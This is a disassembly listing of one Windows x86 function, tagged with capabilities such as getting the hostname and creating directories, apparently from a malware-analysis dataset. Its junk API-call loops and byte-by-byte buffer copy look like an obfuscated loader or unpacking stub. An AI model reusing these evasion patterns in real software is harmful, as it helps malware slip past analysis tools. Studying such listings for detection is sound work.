Function at 0x420ef0
Capabilities:
Create directory
Get common file path
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd14
mov eax, dword [0x42c004]
xor eax, esp
mov dword [esp + 0xd10], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
jmp 0x420f20
call edi
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
cmp esi, 0x176afc
jg 0x420f45
inc esi
cmp esi, 0x365ea5f8
jl 0x420f20
jmp 0x420f58
cmp dword [0x2bd46f4], 0xa
jne 0x420f58
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x420f74
mov eax, dword [0x42dbf4]
mov dword [0x2bd46f8], eax
cmp dword [0x2bd46f4], 0x3c
jne 0x420f80
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x420f62
cmp dword [0x2bd46f4], 0x7c
jne 0x421016
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x4c]
push edx
lea eax, [esp + 0x60]
push eax
push ebx
call dword [sym.imp.ole32.dll_CreateDataCache]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push str.wigitosesaxebajud
call dword [sym.imp.KERNEL32.dll_AddAtomA]
lea edx, [esp + 0x518]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
cmp dword [0x2bd46f4], 0x2d
jne 0x421004
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push 0x42a310
push 0x42ece0
call fcn.0040156c
add esp, 8
cmp dword [0x2bd46f4], 0x110a
jne 0x42106e
push ebx
push ebx
lea eax, [esp + 0x70]
push eax
mov dword [0x2bd4360], ebx
mov dword [0x2bd4364], ebx
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push ebx
push ebx
call fcn.004010f1
push ebx
call fcn.00401170
add esp, 0xc
push ebx
push ebx
call fcn.004010f1
push ebx
push ebx
call fcn.004010f1
add esp, 0x10
push ebx
call fcn.0040151a
call fcn.00420480
xor esi, esi
cmp dword [0x2bd46f4], ebx
jbe 0x4210d0
mov edi, dword [sym.imp.KERNEL32.dll_ReplaceFileW]
jmp 0x421090
mov ecx, dword [0x2bd46f8]
mov dword [esp + 0xc], ecx
mov eax, 0xa231
add dword [esp + 0xc], eax
mov edx, dword [esp + 0xc]
mov al, byte [edx + esi]
mov ecx, dword [0x2bd2274]
mov byte [ecx + esi], al
cmp dword [0x2bd46f4], 0x5ab
jne 0x4210c7
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2bd46f4]
jb 0x421090
call fcn.00420d70
call fcn.004204b0
call fcn.00420e60
mov edi, dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor esi, esi
cmp dword [0x2bd46f4], 0x41
jne 0x4210f5
push ebx
push ebx
push ebx
call edi
cmp esi, 0xbd9cb
jne 0x421102
call fcn.004204a0
inc esi
cmp esi, 0x15a63d
jl 0x4210e7
mov ebx, dword [esp + 0x28]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
push 0
push 0
call edi
cmp esi, 0x1abc7
jle 0x42112d
cmp ebx, 0xf5bed7
jne 0x421136
inc esi
cmp esi, 0x1ebc2ad2
jl 0x421117
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov edi, dword [sym.imp.ADVAPI32.dll_AccessCheckByType]
mov dword [esp + 0x10], 0x1519a5
mov ebx, dword [esp + 0x10]
mov edi, edi
cmp dword [0x2bd46f4], 0x3dc
mov dword [0x2bd435c], 0x8e46a6f0
jne 0x421197
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
push edx
push edx
push edx
push edx
mov dword [esp + 0x20], edx
call esi
mov edx, dword [esp + 0x14]
push 0
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x1c]
push ecx
push ebx
push 0
push 0
push edx
push 0
push 0
push 0
push 0
call edi
dec dword [esp + 0x10]
jne 0x421150
mov ecx, dword [esp + 0xd1c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004010e2
mov esp, ebp
pop ebp
ret